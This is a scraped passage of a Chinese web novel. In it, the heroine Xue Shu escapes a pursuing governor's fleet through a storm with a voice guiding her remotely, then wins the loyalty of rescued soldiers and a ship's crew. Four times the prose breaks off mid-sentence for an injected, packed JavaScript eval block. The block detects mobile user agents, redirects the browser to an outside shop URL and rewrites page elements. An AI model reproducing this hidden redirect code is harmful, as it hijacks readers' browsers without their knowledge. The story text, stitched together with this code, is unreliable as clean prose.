她必须足够耐心,慢慢谋划,第一步是立起人设,努力刷足这帮兵将的好感度。 “将军言重了,”薛殊神色诚恳,语气真挚,“若无诸位将军浴血奋战,亦没有我等的安稳日子。可恨世道污浊,人心狡诈,似将军这等忠勇之士太少了,我能救一个是一个。” 她不居功,不图报,自然博得副手好感,说话也更见亲切:“不敢当姑娘一声将军。在下姓岑,单名一个宁字,姑娘唤我岑宁便是。” 他爽快,薛殊也坦荡:“我姓薛,名殊,岑将军也请直呼我名吧。” 岑宁连道不敢。 这二位自顾自地寒暄,不过片刻,已经好得浑似结拜兄妹。一旁的云澈刚挨完大手术,实在没力气说话,心塞地闭上眼。 ——再看下去,这货只差将自己打包齐整卖给人家! 可能上天听到云参将心声,这二位正寒暄得热乎时,舱门忽然被人推开,一个辽东军的小将士气喘吁吁地跑进来:“有追兵!是朝廷水师!” 薛殊蓦地回头。 * 水师来得很快。 这是一天中最黑沉的时刻,海面尤其无星无月,仿佛倒扣下一口巨大黑锅,本该伸手不见五指,远处却有无数火光连成一片,勾勒出庞大船队的轮廓。 这是总督的职权,既掌着地方行政与军事统筹两大权柄,则调动水师亦在其中,派船追击一伙“逆军”是在天经地义不过的。 不过薛殊知道,宋钊穷追猛打并不是为了权职,或者说,不只是为了尽他总督的义务。 这二百辽东军是宋钊挟势弄权、陷害忠良行走的罪证,至于薛殊嘛,叫他吃了这么大一个亏,还从宋总督牢不可破的五指山里从容溜走,论分量怎么都得从玩物上升成为心口一株意难平的毒刺,这要不趁着热乎劲拔出,岂不得留着过年? 因此宋钊不仅调动了水师,自己也跟着来了。此时此刻,他就站在船头,努力让目光穿透黑夜,锁死前面那艘疯狂奔逃的船只。 “等着吧!”他冷笑着想,“我定要将你亲手抓回!” 到那时,他要一根一根敲断这女人骨头,再用镣铐给她锁起来,叫她这辈子都只能伏在他脚底婉转呻吟。 当然,如果被薛殊知道宋钊这番想头,铁定回给他两个字:做梦! 商船跑得很快,但水师速度也不慢,且这海面上没有可供躲藏的山坳树林,若是宋钊铁了心追击,拦下他们只是迟早的事。 不行,得想个办法,薛殊这样告诉自己。 可她能带着辽东兵走到这里,已经穷尽了所有的智慧与血勇,如今纯看天意,她还有什么法子可想? 两股念头难解难分地交战于脑海中,刚想到“天意”两个字,天意忽然就出现了。 “……之前看你应对得很好,似乎没有我能插手的空间。不过我现在觉得,你可能需要我。” 这是赵文笙的声音,却不是薛殊臆想出的幻影,而是实实在在,从她脑海深处发出说话声,直接传递耳中。 薛殊微微睁大眼,她知道自己方才遗忘了什么。 哔——的,今天是农历十五,两边颗粒度对齐的日子,她怎么把这个忘了! “救、救命!快救命!”在这种情况下跟赵文笙连上线,简直如同久旱麦苗逢甘霖,他乡遇故知,嗷嗷待哺的小娃娃瞧见消失许久的父母,薛殊毫不犹豫地把节操抛了,如果赵文笙本人在这儿,她已经抱着对方大腿嗷嗷直哭,“那个姓宋的疯狗死缠着我不放,快帮我想个法子!” 赵文笙那边似乎是跟什么人低声交谈了几句,然后说:“情况比我想象的好……” 薛殊简直想咆哮了,她都被人追成狗了,这还叫情况好? “我的意思是,两个时空对接的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852753|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况比我想象得好,”赵文笙知道她误会了,为免薛殊原地化身咆哮帝,赶紧解释一句,“我们刚才试着用卫星成像仪扫描你所在海域的云图,发现可以接收到信号。” 薛殊:“所以呢?” “所以,我现在需要你往东南方跑,”赵文笙简明扼要地说,“听着,接下来你必须完全、绝对地跟随我的指令,一步也不能差!” 水师声势浩大,瞧见的不止薛殊一个。从管事到火长都在玩命给这艘船添油加料,奈何瓦特先生还没出生,在蒸汽发动机缺席的情况下,这趟长途追逐战的结果已是注定。 眼看追兵船上的火光从若隐若现到逐渐清晰,立于船尾的岑宁眉头紧锁,下意识摁住腰间佩刀。 一只手就在这时伸来,搭住他肩膀。 岑宁沉腰耸肩,以格斗技巧避开这一摁,待要发动反击,突然看清身后之人的脸。 “薛姑娘,”岑宁有点尴尬,“失礼了。” 薛殊没在意:“接下来的行程可能很颠簸,你进舱照看你家将军,别让他伤口迸裂,不然会很麻烦。” 岑宁很惊讶:“姑娘如何知道?你、你可是有了法子?” 薛殊不答,只是微笑:“放心,一切有我。” 这感觉有点微妙,岑宁作为一个身经百战的老兵,本不该让一个年轻姑娘替自己承担指挥官的重任。可薛殊的那个笑容太笃定、太写意,仿佛她早就料定这场逃亡中的每个环节、每处变故,并针对这些情况做了预设方案。 但,这可能吗? 岑宁没有花费太多时间斟酌,他们是薛殊从死地里带出来的,不信她又能如何?遂果断一抱拳,猫腰进了舱室。 另一边,薛殊找到火长,面色冷峻语气严厉:“从现在起,找我的吩咐做,走错一步,我要你的脑袋!” 火长喉头拼命吞滑:“小、小人知道!” 薛殊打一棒子给一甜枣,又从怀里摸出个金发钗:“甩掉他们,这个也是你的。” 火长眼睛亮了。 原本如猎物一样没命奔逃的商船来了个极限大转弯,船头扎进前路不明的夜色,像一尾穷途末路的小鱼,没命往泥潭里钻。 水师旗舰上的宋钊嗤笑一声:“跟上去,我要他们插翅也难飞。” 水师尽职尽责地执行着他的命令,很快他们意识到这个举动的鲁莽和危险性。本就无星无月的海面上越发黑沉,海风变得呼啸尖利,扑面好似刀锋般冷硬,有雨丝交缠在风声中,噼里啪啦打上甲板。 火光摇了摇,映照出福船火长惊恐的脸:“大人,不能再追了!” 宋钊眼神冷戾:“为何?” “前面有、有风暴!”火长惊慌至极,“要是被卷进去,这一船的人都会没命啊!” 同样的对话也发生在商船上,火长一号望着猎猎拂动的风帆,那样无形而巨大的力量,几乎将帆布撕扯开。 他面容惊骇:“风暴要来了!咱们会被卷进去的!” 薛殊舔了舔嘴角;“很好,要的就是这效果。” 19. 第十九章 风势越发大了,海水如同被激怒的巨兽,从千丈深的渊底探出头。巨大的脑袋撞在船身上,那在寻常人看来已经相当宏伟的帆船就摇摇晃晃,像一只蹒跚拙劣的鸭子,好容易扑腾着翅膀站稳了。 火长快疯了,他不是没在暴雨中穿行过,但这一次的风暴格外猛烈,吹得他睁不开眼。 比风暴更可怕的是他身后的小姑娘,她短刀上的血迹还没完全晾干,又被雨水冲刷得腥味扑鼻,就这么架在脖颈上,逼着他往风暴圈里闯。 “我说,继续向前!”薛殊同样被雨水浇了满脸,发丝毫无形象地糊住眼睛,被她随手拨开,“否则,不用等航船被打翻,我先让你人头倾落。” 火长嚎啕大哭,但薛殊看不到他的泪水,因为他的脸上沾满雨丝;她也听不到他的哀嚎,再尖利的哭嚎也穿不透凛冽风声。她只能全神贯注去捕捉脑海中的那个声音—— “往前五百米……好,向西打回来!” 薛殊拎起火长衣领:“快,向西!” 火长战战兢兢地拉动风帆,驱赶着这头鸭子拐了个极限的弯。好几次船身颤巍巍的,像是要被大浪打翻,海水如奔腾的骏马闯进船舱,又被训练有素的辽东兵拿着各色容器,一盆一桶地舀了出去。 “没事干的都来帮忙!”那个壮的像熊一样的汉子拔声怒吼,“贼老天的,老子今天跟你干上了!” “老子倒要看看,你有没有能耐一口吞了咱们!” 发下豪言壮语的还有宋钊,他揪着火长二号衣领,将他摁在桅杆上:“追上去!我就不信,这帮叛逆到死都不回头!” 但劝说他的人可比薛殊多多了,毕竟薛殊的身份卡是“妓子+亡命徒”,无论哪个选项都是金字塔最底层,翻车也没啥损失,大不了重开一局。 但宋钊不是。他是浙直总督,从一品大员,家资巨万位高权重,依托他这棵大树过活的人太多太多,他们趴在他身上分享阳光雨露,也愿意为此奉献忠心与能力,但这一切中不包括献祭出自己的身家性命。 性命都没了,还怎么享受好不容易攒到的荣华富贵与功名利禄? 正因如此,旗舰船头,形形色色的人扑向宋钊,抱着他的腿哀求—— “总督三思啊!” “您身份贵重,实不必为了几个逆犯亲身冒险!” “这么大的风雨,逆犯折了就折了,可您要有个什么,卑职等如何向朝廷交代?” “郎君就是不为自己考虑,也得为夫人和老太太着想!尤其是老太太,这么大年纪了,要她白发人送黑发人吗?” 他们拦着、劝着,无数双手扯着疯马缰绳,逼着那摇摇欲坠的旗舰一点一点减慢速度,肉眼可见地脱离风暴圈,朝着身后的晴朗而去。 宋钊目眦欲裂,像甩脱缠身的枷锁一样甩开那些人,嘶吼着不许撤,继续追上去。他想说,他们已经是强弩之末,追击下去一定能拦截住。他还想说,他被那个女人欺得好苦,不将她逮回炮制,他枉为一品高官! 但他的嘶吼被风声淹没了,正如他的意志抵不过造化洪流。他眼睁睁看着那累卵般的商船消失在风暴深处,胸口剧烈起伏,终于吐出一口血。 “总督!” * 追兵已经消失,但薛殊并不知晓。 在肆虐的风暴面前,宋钊是蝼蚁,薛殊也是蝼蚁。不同之处在于姓宋的蝼蚁缩了,姓薛的蝼蚁却逆着风暴抬起她渺小的手臂,妄图用血肉之躯与造化之力掰一掰腕子。 他们全都遗忘了追兵的存在,火长眼里只有被风撕扯的风帆,薛殊眼里只有倾斜的船身与拍打着甲板的黑色海浪。愤怒的海水化为巨灵神的手掌铺天盖地而下,要将藐视造化的蝼蚁碾死扯碎,这些蝼蚁们竭力操控着被洪流卷起的叶片,像传说中那把以无厚入有间的神刀,精准卡住云图缝隙,与灭顶而来的风暴擦肩而过。 他们太紧绷、太专注,谁也没发现风势逐渐变缓,光线逐渐变亮,冲撞船身的浪头越来越小,就像分海而出的怪兽攫取了足够的贡品,心满意足地缩回海沟深处。 直到浓云裂开缝隙,第一缕天光破云而出,薛殊伸手接住桅杆上滴落的雨水,后知后觉意识到:“……雨怎么停了?” 所有人慢半拍地回过头,压顶的乌云被他们甩在身后,天还没有完全亮起,但天光已经慷慨洒落。 追兵、巨浪全部消失,前路风平浪静,坦途触手可及。 薛殊浑身湿透了,其他人也好不到哪去。他们有很多事要做,排出涌进船舱的海水,检查在风暴中损毁的船体,清洁甲板,固定缆绳,重新确定航线……每一桩背后都是一摊麻烦。 但是这一刻,他们遗忘了这些,而是张开手臂迎着天光,不约而同地欢呼:“我们赢了!” “我们逃出来了!” “个贼老天!老子就知道你不敢把老子怎样!” 当然,最后一位口出狂言的仁兄被三四个水手手忙脚乱地摁住了,对常年跑船的人来说,生死只隔一层窗户纸,捅不捅破全看老天的意思,可不敢得罪这位大佬。 薛殊加入了欢庆的行列,风暴平息后的空气格外清冽,拂面而过的海风仿佛丝绸般轻柔。她不知不觉走到船尾,张开手臂迎接自由和新生,并没发现自己无意中cos了某部经典爱情片中女主角的经典动作。 唔,只是身后少了个扶腰的背景板。 就在这时,脑海中响起熟悉的声音。 “恭喜你……现在我可以说出这句话了,恭喜你完成新手村任务,顺利逃脱了金丝牢笼,踏上亡命天涯的升级之路,”赵文笙用略带浮夸的语气说道,“采访一下,现在心情如何?” 薛殊摸了把脸,她也分不清是雨水还是海水,总之浑身上下滴滴答答,像只刚捞出锅的落汤鸡。 但她眼神是明亮的,脸蛋是红润的,常年笼罩眉心的阴霾消失了,单薄的胸口被喜悦塞满,兴奋得想唱歌。 “行吧,不打扰你享受这一刻,”赵文笙啧了声,“不过有几件事需要跟你同步。” 薛殊总算分给她一点注意:“你说。” “首先,我们摸清了每个月联络的时间限制,”赵文笙说,“从日落后一个时辰开始,到日出结束,时长不固定,视你所在的纬度、时区与季节而定。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857429|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 薛殊摸着下巴:“也就是说我以后跟你联络前,得先观察一下当地不同季节的日落、日出时间?” “差不多是这个意思,”赵文笙给出肯定的答复,“当然,上线后我会第一时间联系你,所以这个联系时限只会在你即将采取重大行动,而行动过程需要我进行配合的时候产生影响。” “比如咱们刚刚经历的大逃杀。” 薛殊明白了。 “还有吗?” “还有,我们做了一个小小的测试,是关于空间联通后的传送问题,”赵文笙说,“我们采取了几个对照组……行吧,我知道你听不懂,就长话短说了,无形信号可以,有形物质视体积而定,目前可以传送的物体控制在20CM长乘以5CM宽乘以5CM高,重量限定在一千克以内。以你脑部坐标为圆心,距离限定在一公尺范围,传送时间视体积大小而不定。” “需要提醒你的是,当传送实体物体时,连接通道会承受一定的压力,而这种压力会反馈到你脑部装置,从而对你的大脑中枢产生压迫感……” 薛殊打了个哈欠。 赵文笙笑了:“我举个实例,你就明白了。” 薛殊正想问什么叫“举个实例”,就觉脑仁像被大头蚊……不对,是马蜂叮了口。 一开始是轻微的刺痛,不太舒服,但还能忍。然后是晕眩,像被打碎的水面,她的瞳孔对不准焦距,视野里掀起重重波纹,近在咫尺的人脸仿佛晕染开的水墨画,又像是某挪威画家的知名画作,那人扭曲着五官,大张的嘴里能塞进一个鸡蛋,可就是听不着声。 可能是晕得厉害,也可能是鏖战一宿,体力与精力双重告急,薛殊眼一闭,直挺挺地向后栽倒。 * 她并没有晕太久,因为她失去意识前看到的那副“呐喊”名作是岑宁。他原本是看风浪过去了,上到甲板察看船体损毁程度,顺便跟薛殊探讨下一步逃亡路线,却没想到薛殊闭眼晃了晃,毫无预兆地玩了手“倒僵尸”。 多亏岑宁眼疾手快,一把扶住她,才没让薛殊摔出个好歹。 不过晕眩感来得快,去得也快,不过片刻,薛殊已经悠悠醒转。睁眼的刹那,头顶云层散去,海天相接处破开一线红霞,有极明亮的影子自雾气深处探出头,放射出瑞气千条。 日出了。 赵文笙的最后一句叮嘱就在这时传来:“用它……保护好自己……愿我们相逢在……阳光普照的明天……” 链接断开,脑子里的声音下播了。 薛殊心有余悸地摁了摁额头,冲满面担忧的岑宁笑了笑,扶着他的手慢慢起身。 她腰伸直到一半,忽然僵在原地,直看得岑宁心脏忽悠悠乱颤:“可是哪里不对?要不扶姑娘下去歇息一会儿?” 薛殊缓了缓:“没事,站得急了,脑子有点晕。” 她一边说,一边摁了摁胸口,隔着湿透的夏衣,摸到一样硬邦邦的物件。 长不过20CM,宽不过5CM,有把手有铳管,连接处还有一个圆滚滚的转轮。 掂掂分量,是满荷的。 她心里有数了。 20. 第二十章 薛殊自由了。 当她生活在现代社会时,自由是一件天经地义的事,就像围绕在身边的空气一样,每时每刻都在呼吸,却不会留意它的存在。 她可以想去哪就去哪,想跟谁约会就跟谁约会,哪怕一次约上三五个,虽然道德上有点瑕疵,可只要法律不禁止,她就算凑个加强团一起开趴,也不会被人找麻烦。 但是穿越后,这一切都成了奢望,她要穷极心智,拼上性命,去争、去抢,才能在这牢笼般的天地间,为自己博得一点自由喘息的空当。 现在,她要开始享受甘美的胜利果实,顺便为自己的下一步落子筹谋铺垫。 江南薛殊是回不去了,两广也不行,毕竟她不久前才把一个两广总督的亲信抛尸大海。当然这事天知地知,船上的人知道,一时半会儿传不到佟总督耳朵里,可一个替他搂钱心腹莫名其妙没了,他就不会查吗?只要跟姓宋的通个气,就不难推测出这个倒霉蛋的下落。 到时,他一定会发下雷霆之怒,会不惜代价地搜捕薛殊一行人的下落。 不幸中的万幸,从江南到岭南路途遥遥,他们打个时间差,停靠广州补给一二,应该没什么大问题吧? 吴家管事就是这样征求薛殊意见的,他也机灵,现放着二百多号精壮汉子不问,专门来找薛殊,可见是看出这一行人里真正拿主意的是谁。 “小人揣度着,姑娘南下是要远行,那么船上的物资淡水燃料都需要补充,广州港就是最近的选择,”吴家管事两只手端在衣袖里,姿态十足恭敬,“总归咱们搬了东西就走,来去匆匆,不打人眼。” 薛殊持怀疑态度:“这么大一艘船,怎么可能不打眼?” 吴家管事:这不是佟大人还不知道商船改姓的事吗?就算知道了也没事,咱们还能…… 他伸出两根指头,比了个“点钱”的手势。 薛殊秒懂。 有钱能使鬼推磨,在眼下这个时代尤其好用。 她真心实意道:“吴先生想得周全。” 先生就笑:“小人非是吴家家生子,我姓胡,名千岩,姑娘唤小人名姓便是。” 薛殊从善如流:“我有一事不明,请胡先生为我解惑。” “姑娘请说。” “我与先生素昧平生,既无交情,还有那么点不足为外人道的过节,”薛殊扶着船舷,似笑非笑,“我不解,先生为何要为我打算?” 胡千岩暗骂:我不设想周到,你哪天心情不好,把我也咔嚓了丢海里,我找谁说理去? 脸上却一派苦涩:“不敢欺瞒姑娘,小人确是有私心。观姑娘行事,这一趟大约是要往南洋去吧?” 薛殊淡笑不语。 “小人一条贱命,怎样都无所谓,只我家眷尚在江南。如今小人闯了大祸,纵然回去,也不过是为主家所弃,说不得还要拿我这颗脑袋去平总督大人的怒火,”他涩然道,“只求姑娘看我服侍得还算殷勤的份上,容我跟随在侧,出海躲上数月。” “我那主家以为我遭遇不测,或许能容我一家老小一条活路,等风头过了,我再回去与他们团聚,就是姑娘待我的恩德了。” 薛殊这回是真笑了。 “你确实乖觉,利弊考量得清清楚楚,”她睨了胡管事一眼,“我不仅能应了你这一桩,我还能应你,来日与家小相聚,再不是看人眼色之辈,自有你的前程与富贵光耀门楣。” 胡千岩眼神亮了。 若薛殊还是秦淮河畔弹琵琶的妓子,胡千岩不会将这番承诺当回事。但他眼见她号令辽东军、逃脱水师追捕,一身与风浪搏命的血性连寻常男子都比不过。 他忍不住想,她既这么应承,说不得真能做到。 不过胡千岩也有自己的打算,只不方便跟人透露,遂千恩万德地谢了,下去准备靠岸事宜。 殊不知身后的薛殊盯着他背影瞧了一会儿,极玩味地偏了偏头。 * 胡千岩有小心思,薛殊看出来了,但她没戳破。 这是个聪明人,识时务,明利害,还十分机敏善变。再加上熟悉南洋航道,兴许对各番邦的风土人情也有些了解,这就足够薛殊用他。 与之相比,还是船舱里那位更难拿捏。 薛殊背着药箱走进船舱时,云澈正与岑宁说话。他伤得不轻,那一箭虽未取中要害,终究离心脏太近,流了不少血。 幸运的是,江南之地太平许久,兵士们不必与外敌厮杀,弓箭多作习练之用,保养得甚是干净,也未曾沾染秽物,减少了感染的可能。 更幸运的是,薛殊外科出身,治疗外伤是她的老本行。她看护得精心,每日换药清洗无微不至,最大限度地确保了伤口愈合。 但失血是无法补充的,损伤的元气也需要慢慢恢复。于是这些时日,云澈一日里总有大半天的光景是在昏睡中度过。 但他今天是醒着的。 这很难得。 “……我问过那姓胡的管事,这船是给吴家运云锦的,原是要往南洋去,背后却不止吴家商号这么简单,还有两广总督的影子,”薛殊开门见山,将话说得透彻,“此事倒与诸位没什么相干,只是经此一役,咱们也算是一条绳上的蚂蚱。” “如今王土之地已没了容身之处,不知各位有何想法?” 舱室里除了她就两人,一个云澈,一个岑宁。岑宁听了这话就想开口,回头看了看云澈,强行忍住了。 云澈伤势未愈,床铺又窄小,他一个身高八尺的东北汉子蜷作一团,怎么瞧怎么委屈。他脸色有些苍白,说话也提不起中气,一只手虚虚弱弱地摁着胸口,很好地中和了武将眼角眉梢的凌厉气势。 他极温和地反问道:“姑娘是怎么想的?” 这没什么好瞒的,薛殊很坦然:“这船要在广州补给,各位若不愿远离故土,到时下船便是。不过依我之见,姓宋的既然能不要脸地调兵围剿,可见是狗急跳墙。诸位此刻回去,怕是有自投罗网之嫌。” 她的话,岑宁是赞同的。若只为了当年那盆脏水且罢了,偏又将永宁公主牵扯进来,天家贵女从未吃过这样大的苦头,不缠着自家父皇找回场子是不罢休的,又有宋钊煽风点火,保不齐他们前脚下船,后脚就能瞧见街头巷尾的通缉告示。 受伤的同袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864905|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要时间休整,下一步如何打算也得从长计议。 他瞧着云澈,目光带上殷殷之意。 云澈垂着眼帘,像是说话间牵扯了伤口,低低“嘶”了一声:“我等身负污名,若是同行,怕会连累姑娘。” 薛殊无所谓地耸了耸肩:“各位背负污名,我却是实打实劫持了公主,还削了她一只耳朵。将军若是担心受我连累,等伤势养好,你我各走各路便是。” 岑宁忍不住了:“这是什么话?若非姑娘冒险出手,我等早已成了刀下亡魂,救命之恩重于泰山,怎好让你一人承担罪责?” 他嘴太快,云澈拦不住,又不好逼着他将说出口的话吃回去,只能瞪了岑宁一眼。 这二位的眉眼官司全都落在薛殊眼中,一时有点忍俊不禁。 “主将是个精明的,奈何副将太憨,尽拖后腿了,”她想,“看来要挖墙脚,还得寻这位下手。” 她其实可以装装可怜,诉说一下自家身世,再挤几滴眼泪,救命之恩加上怜弱之情,不怕这姓岑的副将不上当。 可薛殊到底是赵文笙教出来的,那是个女金刚,一次又一次把她摔在地上时,告诉她的都是“爬起来再来”,可没有“躺在地上装可怜”这个选项。 久而久之,薛殊习惯了挺直腰板,做不来柔弱之态。 只得遗憾放弃。 “如此也好,”薛殊假装没看到云澈欲言又止的神色,笑眯眯地说,“我粗通医术,正可照拂将军伤势。先出海避一段时日,等风头过了再归故土,未为不可。” 岑宁喜不自胜:“好极了,我们也是这样想的。” 云澈抬手摁住额头,一脸“谁把这个憨货拖下去丢海里”的表情。 薛殊猛掐右手虎口,好容易忍住笑意,替云澈伤处换过药,主动告辞离去。 她知道被她留在屋里的两人一定会议论她,也知道姓云的年轻参将对她是什么观感,保不齐“心机深沉”“拿捏人心”之类的标签已经贴她脑门上。 但她不在乎。 反正时局摆在那儿,救命之恩也搁在这儿,她就是明火执仗地把辽东军绑到她的战船上,明牌对明牌,你能把我怎么着吧? * 云澈还真就没法把她怎么着。 命是人家救的,船是人家劫的,他能做的最激烈的举动,就是在薛殊离开后,把岑宁薅到近前问一句:“你不会看上那丫头了吧?” 岑宁确实勾着脖子望向门口,听到这一句却将三魂吓没了七魄:“将军这是哪里的话?平白污了人家姑娘名声!” 云澈稍稍放心,温言道:“没这个心思就好,你不是那丫头的对手,当心被她一口吞了,骨头都不剩。” 他其实不是柔和耐心的性子,但是没办法,伤在胸口,气大了就疼,只好勉为其难温柔一回。 差点给自己柔出一身鸡皮疙瘩。 奈何部下不受教:“人家姑娘能拼着性命来救咱们,可见是个好的,纵是有些心计,也是为求自保的无奈之举,算不得什么。” 云澈于是不说话了。 他被这憨货副将气得说不出话。 21. 第二十一章 从宁波到广州,受季节、季风、潮汐等多重因素影响,耗时虽有差异,但有五六日的光景总该到了。 这是薛殊穿越以来难得的悠闲时光,她完全可以躺在甲板上发发呆,站在船边逗逗海鸥,或者干脆对着蓝白相间的浪花大吼大叫……只要她能忍受船员和辽东军用围观类人生物的眼神打量她。 但她不肯让自己闲下,头一件大事是背着药箱,将两百多个辽东士兵逐一看过。 征战沙场的人,身上或多或少留有旧伤,当时不在意,以为愈合就是好了,保养也不精心,殊不知有的是积损成毁、落下病症的。年轻时元气足还能硬扛,等到上了年纪,就只能拿命挨。 薛殊是这么跟辽东军说的,看诊时也格外细心,将可能成气候的病症逐一挑出。有些是长期军事训练或作战导致的肌肉、韧带损伤,有些却是冷兵器留下的外伤,风毒渗进骨髓,一到阴雨天就浑身疼。 薛殊给每个人开了调养的方子,当然,船上药材有限,没法给每个人配药,只能等靠岸后采买药材。但她看了两百个人,每个人症候不同,辨证的方子也不同,这就是实打实的两百份药方。 她不止嘴上说说,还当着将士们的面叫来胡千岩,命他靠岸后将所需药材采买齐全,又把自己最贵重的一样饰品——宋钊送她的金丝编成的明珠手镯递过去。 “这镯子工艺精巧,里头的明珠更是南珠中的上品,拿去银楼大约能叫出千两银子,”薛殊说,“先尽力置办,有不足的,等到了南洋我再想法子。” 别说云澈,就连胡千岩都瞧得出,这是明晃晃的施恩。可瞧出来又怎样?人家玩的就是阳谋! 他回过头,看清一众辽东军的表情,他们可以说是整个大穆最精锐的士卒,没人比他们更清楚该怎样对付战场上的敌人,可也没人教过他们该怎么面对那些受他们庇护的百姓递来的善意。 尤其当薛殊说出:将士为国征战、抗击外虏,原是为了守土护民。我虽才能微薄,不足以为其洗刷污名,至少要竭尽所能,令他们少受伤病折磨。 有人不知所措,有人眼眶发红,还有人拿破破烂烂的袖口狠狠一抹脸,转身若无其事地拴起缆绳。 岑宁说出了他们的心里话:“姑娘高义,辽东军上下铭感于心。日后若有用上我等之处,但请姑娘吩咐,我等万死不辞!” 至此,“收服辽东军”进度条,往前无声无息地跳动了一格。 事情进展之顺利,连薛殊本人都大为诧异。 胡千岩拿袖子擦了擦额头,虽然他是半途卷进来的,这几日朝夕相处却不难打听出事情原委。在他眼里,薛殊是一个不得了的女人,她善于隐忍,温驯静默的外表连识人无数的浙直总督都被蒙骗;她工于心计,挟持公主直闯军营,从刀斧之下救出本该伏诛的“逆军”;她还十分具有拿捏人心的手腕,相识不过数日,就叫这些不畏生死的军汉对她言听计从。 这样的女人是可怕的,需要防备的,可军汉们跟他的视角不一样啊! 不管薛殊最初怀着怎样的心思,她冒死救下他们是不争的事实,他们一起并肩作战,一同经历生死,他们眼看着她为了素不相识的人闯大营、冒奇险,若非为了忠义,为了不辜负这些血洒疆场的汉子,还能为了什么? 何况她还这么体贴、这么细心,方方面面替他们考虑周全。这样的恩义,叫他们拿什么偿还? 这样的姑娘家,能有什么坏心眼? 胡千岩望着薛殊那双纯净如水的眼眸,冷汗不要钱地往外冒。 他突然意识到,自己已经尽量高估了薛殊,但好像还是看低了她。 那些蠢蠢作祟的小心思,就被自己悄无声息地摁了回去。 * 五日后,航船驶近广州港,隐隐可见陆地的影子。 连薛殊带二百辽东军都是“准逆犯”,虽然估算行程,朝廷的通缉令一时半会儿到不了岭南。但为防万一,他们还是留在船上,只让胡千岩出面采购远航用度。 不过也不是所有人一概而论,好比岑宁就挑了两个年轻机灵的将士,扮作随从跟着胡千岩,用意不言而喻。 当胡千岩带着心腹和辽东军假扮的随从下船时,薛殊无事可做,干脆仿效对待辽东军的法子,与船员们挨个谈了一轮心。 一开始也是以问诊切入,毕竟常年跑海的,因为长期饮食不规律,营养摄入不均衡,以及船舶的封闭环境和集体生活,谁没有点说不清道不明的病症? 薛殊不嫌繁琐、不怕麻烦,逐一诊断明白,也开了药方,嘱咐他们好生保养。又不好意思地表示,他们这一趟出海都是受自己所累,她能做出的补偿,就是在风波平息后,拿出一部分所得红利,分给他们供养家小。 是的,就这么几天光景,薛殊不仅给二百辽东军挨个看完诊,还将船舱上下摸了个遍。船体是中式福船与西式帆船的混血,这个没什么好说。最底层放置压舱石,用于稳定船身。往上是船员生活区,再往上是储水、做饭以及进行其他操作的区域,而货物一般存放在中层或以下空间,且重物在上,轻物在下,用以平衡重心。 这艘船的货物种类相当丰富,瓷器、漆器、玉器、金器应有尽有,最多的却不是这些笨重器具,而是一匹匹绚丽如云霞的锦缎。 薛殊随手打开一口箱子,就被织金闪翠的孔雀妆花晃瞎了眼,沉默一会儿,将箱盖掩上了。 她是见过好东西的,宋钊虽然不做人,衣食上却真不苛刻,说是金莼玉粒也不为过,所以她只一眼就认出,这箱子里装的不是普通锦缎,而是被后世誉为锦中之冠的“云锦”。 这玩意儿值多少钱? 其实很难评判,因为它就不是能在市场上正常流通的,因为工艺太繁复,价值太珍贵,原本是专供皇家。若没沾上皇亲国戚的边,敢给家人置办一身云锦衣裳就是明目张胆的僭越! 但这是在大穆,海外番邦可不跟你讲三六九等这一套。人家不认天家血脉,只认你丝绸手工精细、花纹绚丽,一匹素锦就能卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870648|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出七八两银子。 那云锦呢? 对不住,这玩意儿太珍贵,堪称有价无市。会叫价的买不起,买得起的可谁也不会在这上头还价。 那是丝绸吗?那是货物吗? 那明明是身份!是地位!是行走的尊贵! 这么一船云锦运去南洋,换来的银子将这一艘船填满可能还有多的。原本这些跑前跑后的船员只能瞧瞧稀罕,一趟跑下来,不克扣基本工资,就算雇主有良心。 但薛殊大方得很,当着他们的面承诺,等这一趟跑完,换得的银钱抽出十分之一,全贴给他们作补偿。 为了证明自己不是开空头支票,她甚至当众开箱,将本该用作交易的金银器物一人一件地散给船员,权作定金。 